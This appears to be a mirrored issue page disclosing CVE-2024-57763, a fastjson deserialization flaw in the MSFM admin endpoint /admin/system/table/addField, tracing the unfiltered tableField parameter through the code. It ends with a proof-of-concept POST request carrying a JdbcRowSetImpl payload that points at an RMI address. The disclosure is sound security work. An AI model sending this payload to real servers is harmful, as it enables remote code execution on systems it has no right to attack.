1 В избранное 0 Ответвления 0

OSCHINA-MIRROR/wanglingxiao-mysiteforme

 / Детали:

Система MSFM/таблица/добавитьПоле использует быстрое преобразование из JSON с помощью FastJSON.

Предстоит сделать
Владелец
Создано  
16.03.2025

CVE-2024-57763
Обнаружено лабораторией безопасности Chaitin Security Research Lab

Продукт с уязвимостью: wangl1989/MSFM
Версия продукта с уязвимостью: до 2025.01.01
Тип уязвимости: десериализация fastjson
Детали уязвимости:

  1. Глобальный поиск метода JSONObject.toJSONString показал, что в файле TableServiceImpl.java:146 путь JSONObject.toJSONString получает параметр tableField и преобразует его в строку JSON-формата. Дальнейший анализ выявил, что эта операция выполняется в методе addColumn(). Продолжаем отслеживание вызова этого метода.
    Screen Shot
  2. Отслеживание метода addColumn() до уровня контроллеров показало, что метод addColumn() был вызван в файле TableController.java:293 и получил параметр tableField. Анализ сверху показал, что параметр TableController.java:254 получен из запроса, отправленного пользователем по пути /addField, а весь процесс не фильтровал и не экранировал параметр tableField. Поэтому параметр tableField управляемый, и здесь есть уязвимость десериализации fastjson.
    Screen Shot
    Screen Shot
  3. Создание POC, вход в систему для захвата пакетов и замены cookies
http://127.0.0.1:8083
Логин: test/1
POST /admin/system/table/addField HTTP/1.1
Host: 127.0.0.1:8083
Content-Type: application/json
Cookie: XXXXXX
```{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/a","autoCommit":true}}   

введите описание изображения здесь

Комментарий (0)

GitLife Service Account Задача создана

Вход Перед тем как оставить комментарий

Статус
Ответственный
Контрольная точка
Pull Requests
Связанные запросы на слияние могут быть закрыты после их объединения
Ветки
Дата начала   -   Крайний срок
-
Закрепить/Открепить
Приоритет
Участники(1)
1
https://api.gitlife.ru/oschina-mirror/wanglingxiao-mysiteforme.git
git@api.gitlife.ru:oschina-mirror/wanglingxiao-mysiteforme.git
oschina-mirror
wanglingxiao-mysiteforme
wanglingxiao-mysiteforme